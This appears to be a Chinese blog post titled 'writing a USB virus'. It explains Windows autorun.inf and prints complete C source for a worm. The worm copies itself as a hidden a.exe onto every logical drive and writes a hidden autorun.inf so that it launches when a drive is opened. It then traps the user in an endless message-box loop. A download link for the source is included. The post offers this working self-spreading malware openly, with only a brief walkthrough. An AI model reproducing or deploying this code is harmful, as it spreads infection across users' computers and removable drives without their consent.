网络信息安全-U盘病毒编写

U盘病毒编写

什么是U盘病毒?百度百科:U盘病毒顾名思义就是通过U盘传播的病毒。自从发现U盘autorun.inf漏洞之后,U盘病毒的数量与日俱增。u盘病毒并不是只存在于u盘上,中毒的电脑每个分区下面同样有u盘病毒,电脑和u盘交叉传播。

autorun.inf是什么东西?接着百度下吧!

autorun.inf是我们电脑使用中比较常见的文件之一 ,其作用是允许在双击磁盘时自动运行指定的某个文件。但是近几年出现了用autorun.inf文件传播木马或病毒,它通过使用者的误操作让目标程序执行,达到侵入电脑的目的,带来了很大的负面影响。


还是一脸懵逼!!!我简单告诉大家吧!autorun.inf字面上理解就是自动运行的信息文件,是存在于U盘,磁盘,或则光盘上面的一个文件而已,当你双击U盘或则磁盘的时候,它会自动执行里面的代码!!!

直接贴一下我的代码吧!!:注意测试需要重启电脑的。


#include <windows.h>

char* autoRun = "[autorun]\
\r\nopen=a.exe\
\r\nshell\\open=打开(&O)\
\r\nshell\\open\\Command=a.exe\
\r\nshell\\explore=资源管理器(&X)\
\r\nshell\\explore\\Command=a.exe\
\r\nshellexecute=a.exe";

void infect(char* pstrFilePath)
{
	char strDriveStrings[MAXBYTE] = {0};
	DWORD dwDriveCount = GetLogicalDriveStringsA(MAXBYTE,strDriveStrings);
	for(int i = 0; i < dwDriveCount; i+=4)
	{
		char tagetPath[MAX_PATH] = {0};
		strncpy(tagetPath,&strDriveStrings[i],4);
		strcat(tagetPath,"a.exe");
		CopyFileA(pstrFilePath,tagetPath,false);
		SetFileAttributesA(tagetPath,FILE_ATTRIBUTE_HIDDEN);

		strncpy(tagetPath,&strDriveStrings[i],4);
		strcat(tagetPath,"autorun.inf");
		HANDLE hFile = CreateFileA(tagetPath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
		DWORD dwLen = 0;
		WriteFile(hFile,autoRun,strlen(autoRun),&dwLen,NULL);
		CloseHandle(hFile);
	}
}

#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
int main()
{
	char strSelfPath[MAX_PATH] = {0};
	GetModuleFileName(NULL,strSelfPath,MAX_PATH);
	infect(strSelfPath);
	while(true){
		MessageBoxA(NULL,"吼吼~不好意思,你中了我写的病毒!!!","提示",MB_OK); 
	}
	return 0;
}


简单解释一下代码:主函数入口开始GetModuleFileName方法是获取当前运行程序的路径。然后infect方法是感染方法,参数是病毒程序路径。

在infect函数中,首先通过GetLogicalDriveStringsA函数获取电脑中所有的逻辑盘符,放到一个char数组里面,返回参数是字符的长度,我给大家看一下我虚拟机里面的运行效果


通过字符的长度,每次取四个字符,就可以获取到每个盘的路径了。接下来就要将病毒程序(即a.exe)写入各个磁盘里面去,使用的是CopyFileA方法。然后创建autorun.inf文件,写入相关的shell代码。差不多就是这样@@


运行一些给大家看一下效果,嘿嘿^_^



源码地址:http://download.csdn.net/download/qq_32587949/10152848

  • 15
    点赞
  • 91
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值